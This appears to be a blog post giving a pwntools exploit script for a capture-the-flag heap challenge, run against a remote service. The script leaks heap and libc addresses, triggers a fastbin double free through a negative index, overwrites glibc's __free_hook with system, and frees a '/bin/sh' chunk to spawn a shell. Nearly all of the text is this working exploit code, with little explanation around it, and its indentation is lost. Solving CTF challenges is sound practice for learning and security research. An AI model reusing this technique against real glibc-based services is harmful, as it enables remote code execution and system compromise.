37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#coding=utf-8
from pwn import *

#context.log_level='debug'
context.terminal = ['tmux','splitw','-h']

#r = process("pwn1")
r = remote("chuj.top",20000)
f = ELF("./pwn1")
libc = ELF("libc-2.31.so")

def create(size,content):
r.recvuntil(">> ")
r.send('1')
r.sendlineafter("size: ",str(size))
r.sendafter("content: ",content)

def view(idx):
r.sendlineafter(">> ",'3')
r.sendlineafter("index: ",str(idx))

def delete(idx):
r.sendlineafter(">> ",'2')
r.sendlineafter("index: ",str(idx))

for i in range(0,11):
create(0x80,str(i))

for i in range(0,8):
delete(i)

delete(9)

for i in range(0,7):
create(0x80,str(i))

create(0x40,'a'*8)
view(7)
r.recvuntil("content: aaaaaaaa")
heapbase = u64(r.recv(6).ljust(8,'\x00'))-0x7a0
log.success("heap base: "+hex(heapbase))

create(0x40,'a'*8)
view(9)
r.recvuntil("content: aaaaaaaa")
lbase = u64(r.recv(6).ljust(8,'\x00'))-0x1ebc60
free_hook = lbase + libc.sym["__free_hook"]
system_addr = lbase+libc.sym["system"]
log.success("libc base: "+hex(lbase))

create(0x30,'to be fastbin') #fastbin double free 11
create(0x21000,'a'*0x20ff0+p64(heapbase+0x6e0))

for i in range(0,8):
create(0x30,'a')

for i in range(13,20):
delete(i)

delete(11)
delete(20)
delete(-512)

for i in range(0,7): #tcache 先于 fasbin 被分配
create(0x30,str(i))

create(0x30,p64(free_hook))
create(0x30,'/bin/sh\x00')
create(0x30,'/bin/sh\x00')
#gdb.attach(proc.pidof(r)[0])
create(0x30,p64(system_addr))

delete(20)
r.interactive()
作者

0wl

发布于

2022-02-18

更新于

2022-03-13

许可协议

评论